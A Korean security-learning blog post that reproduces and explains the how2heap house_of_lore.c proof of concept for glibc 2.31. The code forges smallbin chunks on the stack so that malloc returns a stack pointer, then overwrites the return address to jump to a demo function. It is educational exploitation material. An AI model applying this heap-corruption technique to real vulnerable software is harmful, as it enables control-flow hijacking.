본문 바로가기

pwanble

[How2Heap] - house_of_lore.c

Tricking malloc into returning a nearly-arbitrary pointer by abusing the smallbin freelist.

 

/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.

[ ... ]

else
    {
      bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim)){

                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }

       set_inuse_bit_at_offset (victim, nb);
       bin->bk = bck;
       bck->fd = bin;

       [ ... ]

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){


  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  void* fake_freelist[7][4];

  fprintf(stderr, "\nWelcome to the House of Lore\n");
  fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
  fprintf(stderr, "This is tested against Ubuntu 20.04.2 - 64bit - glibc-2.31\n\n");

  fprintf(stderr, "Allocating the victim chunk\n");
  intptr_t *victim = malloc(0x100);
  fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

  fprintf(stderr, "Allocating dummy chunks for using up tcache later\n");
  void *dummies[7];
  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);

  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
  intptr_t *victim_chunk = victim-2;

  fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);

  fprintf(stderr, "Create a fake free-list on the stack\n");
  for(int i=0; i<6; i++) {
    fake_freelist[i][3] = fake_freelist[i+1];
  }
  fake_freelist[6][3] = NULL;
  fprintf(stderr, "fake free-list at %p\n", fake_freelist);

  fprintf(stderr, "Create a fake chunk on the stack\n");
  fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
         "in second to the last malloc, which putting stack address on smallbin list\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
         "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
         "chunk on stack");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  fprintf(stderr, "Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash "
          "introduced by smallbin-to-tcache mechanism\n");
  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];
  
  fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
         "the small one during the free()\n");
  void *p5 = malloc(1000);
  fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);


  fprintf(stderr, "Freeing dummy chunk\n");
  for(int i=0; i<7; i++) free(dummies[i]);
  fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
  free((void*)victim);

  fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
  fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

  void *p2 = malloc(1200);
  fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

  fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
  fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  //------------VULNERABILITY-----------

  fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

  //------------------------------------
  fprintf(stderr, "Now take all dummies chunk in tcache out\n");
  for(int i=0; i<7; i++) malloc(0x100);


  fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
  fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

  void *p3 = malloc(0x100);

  fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
  char *p4 = malloc(0x100);
  fprintf(stderr, "p4 = malloc(0x100)\n");

  fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
         stack_buffer_2[2]);

  fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode

  long offset = (long)__builtin_frame_address(0) - (long)p4;
  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary

  // sanity check
  assert((long)__builtin_return_address(0) == (long)jackpot);
}

smallbin 리스트의 bk/fd를 스택상의 fake chunk로 조작해 malloc이 스택 주소를 반환하게 만든 뒤(즉, 힙에서 스택으로 할당을 유도), 그 반환된 스택영역의 복사로 리턴 주소를 바꿔 jackpot()을 호출하게 만드는 House of Lore 계열의 익스플로잇

 

  • 준비·선언
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
void* fake_freelist[7][4];
void *dummies[7];
  • 목적: 페이로드(jackpot) 준비, 스택에 fake chunk용 버퍼·fake freelist 선언.
  • victim 할당 및 더미 할당
intptr_t *victim = malloc(0x100);
for(int i=0; i<7; i++) dummies[i] = malloc(0x100);
intptr_t *victim_chunk = victim-2;
  • 목적: 공격 대상인 victim chunk 확보(0x100).
  • dummies는 나중에 tcache를 비우기 위해 사용.
  • victim_chunk는 헤더 오프셋 보정을 위한 포인터(헤더 주소).


  • 스택에 fake freelist/페이크 청크 구성
for(int i=0; i<6; i++) {
  fake_freelist[i][3] = fake_freelist[i+1];
}
fake_freelist[6][3] = NULL;
 
  • 목적: tcache/fastbin 흉내내는 fake freelist 체인 생성(크래시 방지용).
 
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;      // fake fd -> victim_chunk (무결성 체크 우회용)
stack_buffer_1[3] = (intptr_t*)stack_buffer_2; // stack_buffer_1.bk -> stack_buffer_2
stack_buffer_2[2] = (intptr_t*)stack_buffer_1; // stack_buffer_2.fd -> stack_buffer_1
stack_buffer_2[3] = (intptr_t *)fake_freelist[0]; // stack_buffer_2.bk -> fake_freelist
  • 목적: smallbin의 fd/bk 무결성 체크를 통과시키도록 스택에 fake chunk 구성.
    • stack_buffer_1[2] = victim_chunk : bck->fd == victim 체크 우회.
    • stack_buffer_1[3]/stack_buffer_2[2] : smallbin 이중 연결 구조를 모사.
    • stack_buffer_2[3] : smallbin→tcache 전환 시 크래시를 막기 위한 연결.

  • consolidation 방지용 큰 청크 할당
void *p5 = malloc(1000);
  • 목적: top chunk와의 병합(consolidation)이 일어나지 않도록 힙 레이아웃 안정화.

  • p/x victim → 0x7ffe52d67bc8
    victim 포인터 값이 스택 주소를 가리키고 있음. (정상적 heap 포인터가 아님)
  • x/2gx victim 결과 → 메모리 at 0x7ffe52d67bc8에 0x20102a0 / 0x2010290가 들어다.
    → 스택 주소에 저장된 값들이 heap 주소들(아마도 victim의 fd/fd 등)
  • p/x (victim-2) → 0x7ffe52d67bc6이고 x/2gx (victim-2)에서도 같은 heap 주소들이 보임(출력 형식만 길게 보이는 것)

결론: victim 변수(또는 그 메모리)가 이미 스택상의 fake chunk 주소를 가리키고 있고, 그 스택 영역에는 heap 관련 포인터(0x20102a0 등)가 들어있다. 즉 오버라이트가 이미 발생했거나, fake chunk가 이미 스택에 세팅되어 있다.


  • 더미들 해제 및 victim 해제 (unsorted bin 상태)
for(int i=0; i<7; i++) free(dummies[i]);
free((void*)victim);
  • 목적: dummies는 tcache에 쌓임. victim은 unsorted bin에 들어감.
  • 이후 unsorted bin 처리로 victim이 smallbin으로 정렬될 예정.

위 사진은 for 만 실행한 결과이다. tcache가 가득 찼다. 

그리고 다음을 실행하면

tcache 꽉 참 → 더 이상 같은 크기 free는 tcache에 안 들어감
unsorted bins[0]: 0x2010290 victim이 unsorted bin에 있음
heap chunks에서 0x2010290 free 상태 (unsorted bin 멤버)

  • unsorted bin에서 smallbin으로 이동을 유도
void *p2 = malloc(1200);
  • 목적: 큰 요청(1200)으로 unsorted bin에서 처리할 수 없는 상황을 만들어 victim을 smallbin으로 정렬하게 함.
  • 이 시점에 victim->fwd와 victim->bk가 smallbin용 값으로 업데이트됨.

 

  • unsorted bins는 비고, smallbins[5](0x110 크기)에 victim이 들어가 있음.
  • x/2gx victim 보면 fd/bk 값이 smallbin용 링크로 바뀜.
    • fd: smallbin fd 포인터
    • bk: smallbin bk 포인터

 


  • 취약점(오버라이트) 시뮬레이션: victim->bk를 스택으로 덮어쓰기
victim[1] = (intptr_t)stack_buffer_1;
  • 목적: 공격자가 버그로 victim->bk를 스택상의 fake chunk로 덮어쓴다고 가정(핵심 오버라이트).

  • tcache 비우기 (더미들을 malloc으로 꺼냄)
for(int i=0; i<7; i++) malloc(0x100);
  • 목적: tcache 슬롯들을 비워서 다음 malloc이 smallbin에서 청크를 가져오도록 강제.


  • smallbin에서 청크 재할당 — 첫 malloc
void *p3 = malloc(0x100);
  • 동작: 첫 번째 malloc은 덮어쓴 victim chunk를 반환.
  • 이 동작에서 bin->bk가 victim->bk(=스택주소)로 설정된다.

  • smallbin에서 청크 재할당 — 두 번째 malloc(스택을 반환)
char *p4 = malloc(0x100);
  • 동작: 두 번째 malloc이 bin->bk(스택상의 fake chunk)를 따라가서 스택 주소를 반환한다.
  • 결과: p4는 스택상의 영역(스택 버퍼)에 대한 포인터가 됨(힙 allocator가 스택을 '할당'한 상태).

  • 스택에 할당된 영역에 페이로드(리턴주소) 덮어쓰기
 
intptr_t sc = (intptr_t)jackpot;
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8);
  • 목적: p4가 가리키는 스택영역을 통해 현재 스택 프레임의 리턴주소(또는 가까운 위치)에 jackpot 주소를 덮어씀.
  • offset+8은 스택 레이아웃(프레임 주소 기준 오프셋)에 맞춰 리턴주소 위치를 찾아 덮어쓰려는 시도.

  • 성공 확인 (assert)
assert((long)__builtin_return_address(0) == (long)jackpot);
  • 목적: 리턴주소가 jackpot으로 변경되었는지 확인. 성공하면 main이 리턴될 때 jackpot() 호출됨.

'pwanble' 카테고리의 다른 글

[How2Heap] - mmap_overlapping_chunks.c  (0) 2025.11.04
[How2Heap] - overlapping_chunks.c  (0) 2025.11.03
[How2Heap] - house_of_spirit.c  (0) 2025.10.28
[Fuzzing101] Exercise 2  (0) 2025.09.20
[Fuzzing101] - Exercise 1  (0) 2025.09.19